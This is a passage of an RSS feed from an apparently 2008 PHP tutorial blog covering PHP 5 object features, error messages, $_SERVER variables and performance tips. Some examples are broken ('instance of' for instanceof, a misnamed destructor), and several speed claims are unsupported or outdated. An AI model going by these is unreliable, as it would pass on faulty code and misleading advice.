Function declarations may include class type hints for their parameters. If the functions are called with an incorrect class type an error occurs.&lt;br /&gt;
&lt;br /&gt;
function expectsMyClass(MyClass $obj) {&lt;br /&gt;
}&lt;/p&gt;</description>
								         <pubDate>Mon, 25 Aug 2008 17:53:46 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/8/New-Object-Oriented-Features---By-PHP-Expert</guid>
								      </item>								      <item>
								         <title>New Object Oriented Features - By PHP Expert</title>
								         <link>http://www.nileshpawar.com/7/New-Object-Oriented-Features---By-PHP-Expert</link>
								         <description>&lt;p&gt;&lt;font color=&quot;#ff6600&quot;&gt;&lt;u&gt;&lt;em&gt;&lt;strong&gt;Explicit object cloning&lt;/strong&gt;&lt;/em&gt;&lt;/u&gt;&lt;/font&gt;&lt;br /&gt;
In order to clone an object you have to use the clone keyword. You may declare a __clone() method which will be called during the clone process (after the properties have been copied from the original object).&lt;br /&gt;
&lt;br /&gt;
class MyClass {&lt;br /&gt;
function __clone() {&lt;br /&gt;
print &amp;quot;Object is being cloned&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
$obj = new MyClass();&lt;br /&gt;
clone $obj;&lt;br /&gt;
&lt;br /&gt;
&lt;font color=&quot;#ff6600&quot;&gt;&lt;u&gt;&lt;em&gt;&lt;strong&gt;Class constants&lt;/strong&gt;&lt;/em&gt;&lt;/u&gt;&lt;/font&gt;&lt;br /&gt;
Classes definitions can now include constant values, and are referenced using the class.&lt;br /&gt;
&lt;br /&gt;
class MyClass {&lt;br /&gt;
const SUCCESS = &amp;quot;Success&amp;quot;;&lt;br /&gt;
const FAILURE = &amp;quot;Failure&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
print MyClass::SUCCESS;&lt;/p&gt;</description>
								         <pubDate>Mon, 25 Aug 2008 17:52:39 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/7/New-Object-Oriented-Features---By-PHP-Expert</guid>
								      </item>								      <item>
								         <title>New Object Oriented Features - By PHP Expert</title>
								         <link>http://www.nileshpawar.com/6/New-Object-Oriented-Features---By-PHP-Expert</link>
								         <description>&lt;p&gt;&lt;font color=&quot;#ff6600&quot;&gt;&lt;u&gt;&lt;em&gt;&lt;strong&gt;final methods&lt;/strong&gt;&lt;/em&gt;&lt;/u&gt;&lt;/font&gt;&lt;br /&gt;
The final keyword allows you to mark methods so that an inheriting class can't overload them.&lt;br /&gt;
&lt;br /&gt;
class MyClass {&lt;br /&gt;
final function getBaseClassName() {&lt;br /&gt;
return __CLASS__;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;font color=&quot;#ff6600&quot;&gt;&lt;u&gt;&lt;em&gt;&lt;strong&gt;final classes&lt;/strong&gt;&lt;/em&gt;&lt;/u&gt;&lt;/font&gt;&lt;br /&gt;
After declaring a class as final, it can't be inherited. The following example would error out:&lt;br /&gt;
&lt;br /&gt;
final class FinalClass {&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
class BogusClass extends FinalClass {&lt;br /&gt;
}&lt;/p&gt;</description>
								         <pubDate>Fri, 25 Jul 2008 17:52:04 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/6/New-Object-Oriented-Features---By-PHP-Expert</guid>
								      </item>								      <item>
								         <title>New Object Oriented Features - By PHP Expert</title>
								         <link>http://www.nileshpawar.com/5/New-Object-Oriented-Features---By-PHP-Expert</link>
								         <description>&lt;p&gt;&lt;font color=&quot;#ff6600&quot;&gt;&lt;em&gt;&lt;u&gt;&lt;strong&gt;Interfaces&lt;/strong&gt;&lt;/u&gt;&lt;/em&gt;&lt;/font&gt;&lt;br /&gt;
Gives the ability for a class to fulfill more than one is-a relationships. A class can inherit from one class only but may implement as many interfaces as it wants.&lt;br /&gt;
&lt;br /&gt;
interface Display {&lt;br /&gt;
function display();&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
class Circle implements Display {&lt;br /&gt;
function display() {&lt;br /&gt;
print &amp;quot;Displaying circle &amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;font color=&quot;#ff6600&quot;&gt;&lt;u&gt;&lt;em&gt;&lt;strong&gt;instanceof operator&lt;/strong&gt;&lt;/em&gt;&lt;/u&gt;&lt;/font&gt;&lt;br /&gt;
Language level support for is-a relationship checking. The PHP 4 is_a() function is now deprecated.&lt;br /&gt;
&lt;br /&gt;
if ($obj instance of Circle) {&lt;br /&gt;
print '$obj is a Circle';&lt;br /&gt;
}&lt;/p&gt;</description>
								         <pubDate>Fri, 25 Jul 2008 17:51:29 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/5/New-Object-Oriented-Features---By-PHP-Expert</guid>
								      </item>								      <item>
								         <title>New Object Oriented Features - By PHP Expert</title>
								         <link>http://www.nileshpawar.com/4/New-Object-Oriented-Features---By-PHP-Expert</link>
								         <description>&lt;p&gt;The new object oriented features are too numerous to give a detailed description in this section. The object oriented language chapter goes over each feature in detail.&lt;br /&gt;
&lt;br /&gt;
The following is a list of the main new features:&lt;br /&gt;
&lt;br /&gt;
1. public/private/protected access modifiers for methods and properties&lt;br /&gt;
&lt;br /&gt;
Allows the use of common OO access modifiers to control access to methods and properties.&lt;br /&gt;
&lt;br /&gt;
class MyClass {&lt;br /&gt;
&amp;nbsp;private $id = 18;&lt;br /&gt;
&amp;nbsp;public function getId() {&lt;br /&gt;
&amp;nbsp;return $this-&amp;gt;id;&lt;br /&gt;
&amp;nbsp;}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
$myclassobject=new MyClass();&lt;br /&gt;
echo $myclassobject-&amp;gt;getId();&lt;br /&gt;
&lt;br /&gt;
2. Unified constructor name __construct()&lt;br /&gt;
Instead of the constructor being the name of the class, it should now be declared as __construct(), making it easier to shift classes inside class hierarchies.&lt;br /&gt;
&lt;br /&gt;
class MyClass {&lt;br /&gt;
function __construct() {&lt;br /&gt;
print &amp;quot;Inside constructor&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
3. Object destructor support by defining a __destructor() method&lt;br /&gt;
&lt;br /&gt;
Allows defining a destructor function that runs when an object is destroyed.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
class MyClass {&lt;br /&gt;
function __destruct() {&lt;br /&gt;
print &amp;quot;Destroying object&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;/p&gt;</description>
								         <pubDate>Fri, 29 Aug 2008 10:35:52 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/4/New-Object-Oriented-Features---By-PHP-Expert</guid>
								      </item>								      <item>
								         <title>Improved Error Messages in PHP 5 - By PHP Expert</title>
								         <link>http://www.nileshpawar.com/3/Improved-Error-Messages-in-PHP-5---By-PHP-Expert</link>
								         <description>&lt;p&gt;Sometimes its the little things that make a difference. If you run the this test program in PHP 4 (tested on 4.4.7):&lt;br /&gt;
&lt;br /&gt;
&amp;lt; ?php&lt;br /&gt;
function test($arg) { echo &amp;quot;talk like a pirate.&amp;quot;; }&lt;br /&gt;
test();&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
You get the following message:&lt;br /&gt;
&lt;br /&gt;
Warning: Missing argument 1 for test() in /usr/bin/- on line 2&lt;br /&gt;
&lt;br /&gt;
The error message here is reported at the position of the definition of the function, but really the error was in how the function was called. The required parameter to test was not passed. This error can be annoying, forcing you to consult a stack trace to find the actual error location. Something some beginners may not know how to do.&lt;br /&gt;
&lt;br /&gt;
However, if you run the same message in PHP 5 (tested on 5.2.2):&lt;br /&gt;
&lt;br /&gt;
Warning: Missing argument 1 for test(), called in /Users/jeff/- on line 3 and defined in /Users/jeff/- on line 2&lt;br /&gt;
&lt;br /&gt;
Sweet improvement!&lt;br /&gt;
&lt;br /&gt;
One more reason to ditch PHP 4 and go php 5.&lt;/p&gt;</description>
								         <pubDate>Fri, 29 Aug 2008 10:36:06 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/3/Improved-Error-Messages-in-PHP-5---By-PHP-Expert</guid>
								      </item>								      <item>
								         <title>Important SERVER Variables in PHP - By PHP Expert</title>
								         <link>http://www.nileshpawar.com/2/Important-SERVER-Variables-in-PHP---By-PHP-Expert</link>
								         <description>&lt;p&gt;Consider your file is at location: http://www.example.com/index.php&lt;br /&gt;
static location for file is:	   /home/a/b/exampl/htdocs/ &lt;br /&gt;
The following will be the values for the server variables&lt;br /&gt;
&lt;br /&gt;
[HTTP_HOST] =&amp;gt; www.example.com &lt;br /&gt;
//Indicates the domain name of your site&lt;br /&gt;
&lt;br /&gt;
[HTTP_USER_AGENT] =&amp;gt; Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Firefox/3.0 &lt;br /&gt;
// Indicates from which browser you are accessing the site&lt;br /&gt;
&lt;br /&gt;
[HTTP_ACCEPT] =&amp;gt; text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 &lt;br /&gt;
//what kind of content is requested by your file&lt;br /&gt;
&lt;br /&gt;
[HTTP_ACCEPT_LANGUAGE] =&amp;gt; en-us,en;q=0.5 &lt;br /&gt;
//header from the current request, if there is one. Example 'en'&lt;br /&gt;
&lt;br /&gt;
[HTTP_ACCEPT_ENCODING] =&amp;gt; gzip,deflate &lt;br /&gt;
//header from the current request, if there is one. Example: 'gzip'&lt;br /&gt;
&lt;br /&gt;
[HTTP_ACCEPT_CHARSET] =&amp;gt; ISO-8859-1,utf-8;q=0.7,*;q=0.7 &lt;br /&gt;
//header from the current request, if there is one. Example: 'iso-8859-1,*,utf-8'&lt;br /&gt;
&lt;br /&gt;
[HTTP_KEEP_ALIVE] =&amp;gt; 300 &lt;br /&gt;
//header from the current request, if there is one to keep connection alive for given time.&lt;br /&gt;
&lt;br /&gt;
[HTTP_CONNECTION] =&amp;gt; keep-alive &lt;br /&gt;
//header from the current request, indicating whether to keep connection alive or not.&lt;br /&gt;
&lt;br /&gt;
[HTTP_COOKIE] =&amp;gt; __utma=123129419.826544571.1217935577.1219399309.1219416030.12; __utmz=123129419.1217935577.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); style=alt1 &lt;br /&gt;
&lt;br /&gt;
//shows the list of cookies currently set.&lt;br /&gt;
&lt;br /&gt;
[HTTP_CACHE_CONTROL] =&amp;gt; max-age=0 &lt;br /&gt;
//amount for which we browser must control cache, its 0 means for unlimited period.&lt;br /&gt;
&lt;br /&gt;
[PATH] =&amp;gt; /sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin &lt;br /&gt;
&lt;br /&gt;
[SERVER_SIGNATURE] =&amp;gt; Apache/2.0.52 (CentOS) Server at 192.168.1.101 Port 80 &lt;br /&gt;
// Information about the webserver&lt;br /&gt;
&lt;br /&gt;
[SERVER_SOFTWARE] =&amp;gt; Apache/2.0.52 (CentOS)  &lt;br /&gt;
//Information about the server software&lt;br /&gt;
&lt;br /&gt;
[SERVER_NAME] =&amp;gt; www.example.com &lt;br /&gt;
//The name of the server host under which the current script is executing.&lt;br /&gt;
&lt;br /&gt;
[SERVER_ADDR] =&amp;gt; 192.168.1.101 &lt;br /&gt;
//The IP address of the server under which the current script is executing.  &lt;br /&gt;
&lt;br /&gt;
[SERVER_PORT] =&amp;gt; 80 //The port on the server machine being used by the web server for communication.&lt;br /&gt;
&lt;br /&gt;
[REMOTE_ADDR] =&amp;gt; 192.168.1.178 &lt;br /&gt;
//The Host name from which the user is viewing the current page.&lt;br /&gt;
&lt;br /&gt;
[DOCUMENT_ROOT] =&amp;gt; /home/a/b/exampl/htdocs/ &lt;br /&gt;
//The document root directory under which the current script is executing, as defined in the server's configuration file. &lt;br /&gt;
&lt;br /&gt;
[SERVER_ADMIN] =&amp;gt; root@localhost &lt;br /&gt;
//The value given to the SERVER_ADMIN (for Apache) directive in the web server configuration file. If the script is running on a virtual host, this will be the value defined for that virtual host. &lt;br /&gt;
&lt;br /&gt;
[SCRIPT_FILENAME] =&amp;gt; /home/a/b/exampl/htdocs/index.php &lt;br /&gt;
//The absolute pathname of the currently executing script. &lt;br /&gt;
&lt;br /&gt;
[REMOTE_PORT] =&amp;gt; 3924 &lt;br /&gt;
//The port being used on the user's machine to communicate with the web server. &lt;br /&gt;
&lt;br /&gt;
[GATEWAY_INTERFACE] =&amp;gt; CGI/1.1 &lt;br /&gt;
//What revision of the CGI specification the server is using; i.e. 'CGI/1.1'.  &lt;br /&gt;
&lt;br /&gt;
[SERVER_PROTOCOL] =&amp;gt; HTTP/1.1 &lt;br /&gt;
//Name and revision of the information protocol via which the page was requested; i.e. 'HTTP/1.0'; &lt;br /&gt;
&lt;br /&gt;
[REQUEST_METHOD] =&amp;gt; GET &lt;br /&gt;
// Which request method was used to access the page; i.e. 'GET', 'HEAD', 'POST', 'PUT'.  &lt;br /&gt;
&lt;br /&gt;
[QUERY_STRING] =&amp;gt; &lt;br /&gt;
//The query string, if any, via which the page was accessed.&lt;br /&gt;
&lt;br /&gt;
[REQUEST_URI] =&amp;gt; / &lt;br /&gt;
//The URI which was given in order to access this page; for instance, '/index.php'.  &lt;br /&gt;
&lt;br /&gt;
[SCRIPT_NAME] =&amp;gt; /index.php &lt;br /&gt;
//Contains the current script's path. This is useful for pages which need to point to themselves. The __FILE__  constant contains the full path and filename of the current (i.e. included) file. &lt;br /&gt;
&lt;br /&gt;
[PHP_SELF] =&amp;gt; /index.php &lt;br /&gt;
//The filename of the currently executing script, relative to the document root.&lt;br /&gt;
&lt;br /&gt;
[REQUEST_TIME] =&amp;gt; 1219654851 &lt;br /&gt;
//The timestamp of the start of the request. Available since PHP 5.1.0.&lt;/p&gt;</description>
								         <pubDate>Fri, 29 Aug 2008 10:36:22 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/2/Important-SERVER-Variables-in-PHP---By-PHP-Expert</guid>
								      </item>								      <item>
								         <title>Tips for optimizing php code by PHP Expert</title>
								         <link>http://www.nileshpawar.com/1/Tips-for-optimizing-php-code-by-PHP-Expert</link>
								         <description>&lt;p&gt;# If a method can be static, declare it static. Speed improvement is by a factor of 4.&lt;br /&gt;
# echo is faster than print.&lt;br /&gt;
# Use echo's multiple parameters instead of string concatenation.&lt;br /&gt;
# Set the maxvalue for your for-loops before and not in the loop.&lt;br /&gt;
# Unset your variables to free memory, especially large arrays.&lt;br /&gt;
# Avoid magic like __get, __set, __autoload&lt;br /&gt;
# require_once() is expensive&lt;br /&gt;
# Use full paths in includes and requires, less time spent on resolving the OS paths.&lt;br /&gt;
# If you need to find out the time when the script started executing, $_SERVER[&amp;rsquo;REQUEST_TIME&amp;rsquo;] is preferred to time()&lt;br /&gt;
# See if you can use strncasecmp, strpbrk and stripos instead of regex&lt;br /&gt;
# str_replace is faster than preg_replace, but strtr is faster than str_replace by a factor of 4&lt;br /&gt;
# If the function, such as string replacement function, accepts both arrays and single characters as arguments, and if your argument list is not too long, consider writing a few redundant replacement statements, passing one character at a time, instead of one line of code that accepts arrays as search and replace arguments.&lt;br /&gt;
# It's better to use switch statements than multi if, else if, statements.&lt;br /&gt;
# Error suppression with @ is very slow.&lt;br /&gt;
# Turn on apache's mod_deflate&lt;br /&gt;
# Close your database connections when you're done with them&lt;br /&gt;
# $row[&amp;rsquo;id&amp;rsquo;] is 7 times faster than $row[id]&lt;br /&gt;
# Error messages are expensive&lt;br /&gt;
# Do not use functions inside of for loop, such as for ($x=0; $x &amp;lt; count($array); $x) The count() function gets called each time.&lt;br /&gt;
# Incrementing a local variable in a method is the fastest. Nearly the same as calling a local variable in a function.&lt;br /&gt;
# Incrementing a global variable is 2 times slow than a local var.&lt;br /&gt;
# Incrementing an object property (eg. $this-&amp;gt;prop++) is 3 times slower than a local variable.&lt;br /&gt;
# Incrementing an undefined local variable is 9-10 times slower than a pre-initialized one.&lt;br /&gt;
# Just declaring a global variable without using it in a function also slows things down (by abut the same amount as incrementing a local var). PHP probably does a check to see if the global exists.&lt;br /&gt;
# Method invocation appears to be independent of the number of methods defined in the class because I added 10 more methods to the test class (before and after the test method) with no change in performance.&lt;br /&gt;
# Methods in derived classes run faster than ones defined in the base class.&lt;br /&gt;
# A function call with one parameter and an empty function body takes about the same time as doing 7-8 $localvar++ operations. A similar method call is of course about 15 $localvar++ operations.&lt;br /&gt;
# Surrounding your string by ' instead of &amp;quot; will make things interpret a little faster since php looks for variables inside &amp;quot;...&amp;quot; but not inside '...'. Of course you can only do this when you don't need to have variables in the string.&lt;br /&gt;
# When echoing strings it's faster to separate them by comma instead of dot. Note: This only works with echo, which is a function that can take several strings as arguments.&lt;br /&gt;
# A PHP script will be served at least 2-10 times slower than a static HTML page by Apache. Try to use more static HTML pages and fewer scripts.&lt;br /&gt;
# Your PHP scripts are recompiled every time unless the scripts are cached. Install a PHP caching product to typically increase performance by 25-100% by removing compile times.&lt;br /&gt;
# Cache as much as possible. Use memcached - memcached is a high-performance memory object caching system intended to speed up dynamic web applications by alleviating database load. OP code caches are useful so that your script does not have to be compiled on every request&lt;br /&gt;
# When working with strings and you need to check that the string is either of a certain length you'd understandably would want to use the strlen() function. This function is pretty quick since it's operation does not perform any calculation but merely return the already known length of a string available in the zval structure (internal C struct used to store variables in PHP). However because strlen() is a function it is still somewhat slow because the function call requires several operations such as lowercase &amp;amp; hashtable lookup followed by the execution of said function. In some instance you can improve the speed of your code by using an isset() trick.&lt;br /&gt;
Ex.&lt;br /&gt;
if (strlen($foo) &amp;lt; 5) { echo &amp;quot;Foo is too short&amp;quot;; }&lt;br /&gt;
vs.&lt;br /&gt;
if (!isset($foo{5})) { echo &amp;quot;Foo is too short&amp;quot;; }&lt;br /&gt;
Calling isset() happens to be faster then strlen() because unlike strlen(), isset() is a language construct and not a function meaning that it's execution does not require function lookups and lowercase. This means you have virtually no overhead on top of the actual code that determines the string's length.&lt;br /&gt;
# When incrementing or decrementing the value of the variable $i++ happens to be a tad slower then ++$i. This is something PHP specific and does not apply to other languages, so don't go modifying your C or Java code thinking it'll suddenly become faster, it won't. ++$i happens to be faster in PHP because instead of 4 opcodes used for $i++ you only need 3. Post incrementation actually causes in the creation of a temporary var that is then incremented. While pre-incrementation increases the original value directly. This is one of the optimization that opcode optimized like Zend's PHP optimizer. It is a still a good idea to keep in mind since not all opcode optimizers perform this optimization and there are plenty of ISPs and servers running without an opcode optimizer.&lt;br /&gt;
# Not everything has to be OOP, often it is too much overhead, each method and object call consumes a lot of memory.&lt;br /&gt;
# Do not implement every data structure as a class, arrays are useful, too&lt;br /&gt;
# Don't split methods too much, think, which code you will really re-use&lt;br /&gt;
# You can always split the code of a method later, when needed&lt;br /&gt;
# Make use of the countless predefined functions&lt;br /&gt;
# If you have very time consuming functions in your code, consider writing them as C extensions&lt;/p&gt;</description>
								         <pubDate>Sun, 18 May 2008 17:46:51 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/1/Tips-for-optimizing-php-code-by-PHP-Expert</guid>
								      </item>
   </channel>
</rss> 